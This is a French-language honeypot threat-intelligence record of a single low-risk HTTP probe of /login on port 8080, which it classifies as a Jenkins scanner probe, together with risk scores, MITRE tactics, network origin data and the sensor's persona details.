Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.882182446701055,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.2,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "4458403202cd4f888fb69789c0b6e3f4e52b1e37",
"event_fingerprint": "3fb648dcf91023ff04f2a460f04b9f68e7660456",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "54f2477f1e4a7d1a6d7b0c6a1ece1af3",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b5666f234b26e4eb17846bceb6c44715d471f7cf",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|